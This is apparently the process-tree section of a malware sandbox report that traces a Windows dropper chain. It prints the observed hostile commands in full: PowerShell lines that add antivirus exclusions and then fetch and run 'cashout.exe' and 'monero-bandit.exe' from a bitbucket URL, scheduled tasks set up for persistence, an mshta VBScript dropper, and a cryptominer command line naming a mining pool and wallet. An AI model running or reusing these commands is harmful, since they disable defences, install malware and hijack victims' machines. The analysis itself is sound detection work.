- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Pictures\Adobe Films\dLPHNKLvaytX12QG4_Kjyt6c.exe"C:\Users\Admin\Pictures\Adobe Films\dLPHNKLvaytX12QG4_Kjyt6c.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\fl.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\fl.exeC:\Users\Admin\AppData\Local\Temp\fl.exe9⤵
-
C:\Windows\SysWOW64\cmd.execmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/cashout.exe', (Join-Path -Path $env:Temp -ChildPath 'File.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'File.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe')" & exit10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"11⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"11⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/cashout.exe', (Join-Path -Path $env:Temp -ChildPath 'File.exe'))"11⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe'))"11⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'File.exe')"11⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe')"11⤵
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\8o_HFC5KkDWqVXjiBRFAUYmf.exe"C:\Users\Admin\Pictures\Adobe Films\8o_HFC5KkDWqVXjiBRFAUYmf.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\8411DE~1\ADVANC~1.EXE" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\8411de7c-6fc6-481b-a639-e3f33e947a33\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run7⤵
-
C:\Users\Admin\AppData\Local\Temp\8411DE~1\ADVANC~1.EXEC:\Users\Admin\AppData\Local\Temp\8411DE~1\ADVANC~1.EXE /EXEFilename C:\Users\Admin\AppData\Local\Temp\8411de7c-6fc6-481b-a639-e3f33e947a33\test.bat /WindowState 0"" /PriorityClass 32"" /CommandLine /StartDirectory /RunAs 8 /Run8⤵
-
C:\Users\Admin\AppData\Local\Temp\8411DE~1\ADVANC~1.EXE"C:\Users\Admin\AppData\Local\Temp\8411DE~1\ADVANC~1.EXE" /SpecialRun 4101d8 10689⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe" -Force7⤵
-
C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exeC:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe -Force8⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"7⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\mine.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\mine.exeC:\Users\Admin\AppData\Local\Temp\mine.exe9⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mine.exe"10⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit11⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"12⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"12⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"11⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"12⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\services32.exe"11⤵
-
C:\Users\Admin\services32.exeC:\Users\Admin\services32.exe12⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"13⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit14⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"15⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\MICROS~1\TELEME~1\sihost32.exe"14⤵
-
-
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\6666.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\6666.exeC:\Users\Admin\AppData\Local\Temp\6666.exe9⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\6666.exe"10⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"11⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"12⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\services64.exeC:\Users\Admin\AppData\Local\Temp\services64.exe12⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"13⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\MICROS~1\Libs\sihost64.exe"14⤵
-
-
C:\Windows\System32\conhost.exeC:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=45JpPqakEn7EwqkL6WB28DLDt58UcCNARMdsAGo6VGdfUByVDFtFCxrNBD7UhWSNvGQCjvLgahxNrMc3T7szAVfj2JW7Kyq --pass=666 --cpu-max-threads-hint=90 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-kill-targets="" --cinit-idle-wait=5 --cinit-idle-cpu=50 --cinit-stealth --cinit-kill14⤵
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\A6lkyoTCZDwy6ZqevXmwqq0v.exe"C:\Users\Admin\Pictures\Adobe Films\A6lkyoTCZDwy6ZqevXmwqq0v.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\fl.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\fl.exeC:\Users\Admin\AppData\Local\Temp\fl.exe9⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fl.exe"10⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"11⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"12⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services32.exe"11⤵
-
C:\Users\Admin\AppData\Roaming\services32.exeC:\Users\Admin\AppData\Roaming\services32.exe12⤵
-
C:\Windows\SysWOW64\cmd.execmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/cashout.exe', (Join-Path -Path $env:Temp -ChildPath 'File.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'File.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe')" & exit13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"14⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"14⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/cashout.exe', (Join-Path -Path $env:Temp -ChildPath 'File.exe'))"14⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/law228/law/downloads/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe'))"14⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'File.exe')"14⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fil1.exe')"14⤵
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\yjU4xHzhUyVi0h_nzyx8USdc.exe"C:\Users\Admin\Pictures\Adobe Films\yjU4xHzhUyVi0h_nzyx8USdc.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\yG99ykg1PnmRbwZQSVfmLuxQ.exe"C:\Users\Admin\Pictures\Adobe Films\yG99ykg1PnmRbwZQSVfmLuxQ.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 6607⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 6727⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 6887⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 7087⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 11247⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 12087⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 12647⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 12247⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 10927⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 12767⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\S2rGi2OR_JJCsZun00rjDxzw.exe"C:\Users\Admin\Pictures\Adobe Films\S2rGi2OR_JJCsZun00rjDxzw.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cyYCSr3ILgYH2wPuEmkkm7Iq.exe"C:\Users\Admin\Pictures\Adobe Films\cyYCSr3ILgYH2wPuEmkkm7Iq.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\j8JAB3Ats17FnqM4UJC7cVnM.exe"C:\Users\Admin\Pictures\Adobe Films\j8JAB3Ats17FnqM4UJC7cVnM.exe"6⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\JPOPZT~1.EXE"6⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\JPOPZT~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\JPOPZT~1.EXE7⤵
-
C:\Users\Admin\AppData\Roaming\6230715.scr"C:\Users\Admin\AppData\Roaming\6230715.scr" /S8⤵
-
-
C:\Users\Admin\AppData\Roaming\8664981.scr"C:\Users\Admin\AppData\Roaming\8664981.scr" /S8⤵
-
-
C:\Users\Admin\AppData\Roaming\1538396.scr"C:\Users\Admin\AppData\Roaming\1538396.scr" /S8⤵
-
-
C:\Users\Admin\AppData\Roaming\1233049.scr"C:\Users\Admin\AppData\Roaming\1233049.scr" /S8⤵
-
-
C:\Users\Admin\AppData\Roaming\8203645.scr"C:\Users\Admin\AppData\Roaming\8203645.scr" /S8⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"6⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE7⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ) do taskkill -iM ""%~NXI"" -f " , 0 , tRue ) )8⤵
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\System32\mshta.exe vbscRIpt: CLOsE ( CREAteoBJect ( WScRiPT.sHeLL ). RUn ( C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ) do taskkill -iM ""%~NXI"" -f , 0 , tRue ) )9⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\KCAVRK~1.EXE"6⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\KCAVRK~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\KCAVRK~1.EXE7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--oYd2f1"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b8,0x1e8,0x7ffc0affdec0,0x7ffc0affded0,0x7ffc0affdee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff7882e9e70,0x7ff7882e9e80,0x7ff7882e9e9011⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=1768 /prefetch:810⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=2032 /prefetch:810⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1520 /prefetch:210⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2632 /prefetch:110⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2592 /prefetch:110⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3164 /prefetch:210⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=3228 /prefetch:810⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=2704 /prefetch:810⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=3436 /prefetch:810⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=3352 /prefetch:810⤵
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,16289723275475913804,9942509604705379000,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8256_1260084356" --mojo-platform-channel-handle=2196 /prefetch:810⤵
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon20b6f9d5bd03a305.exeMon20b6f9d5bd03a305.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon209b3da1556b9a317.exeMon209b3da1556b9a317.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\1504578.scr"C:\Users\Admin\AppData\Roaming\1504578.scr" /S8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\6478148.scr"C:\Users\Admin\AppData\Roaming\6478148.scr" /S8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Roaming\2866813.scr"C:\Users\Admin\AppData\Roaming\2866813.scr" /S8⤵
-
-
C:\Users\Admin\AppData\Roaming\8721057.scr"C:\Users\Admin\AppData\Roaming\8721057.scr" /S8⤵
-
-
C:\Users\Admin\AppData\Roaming\3538665.scr"C:\Users\Admin\AppData\Roaming\3538665.scr" /S8⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
-
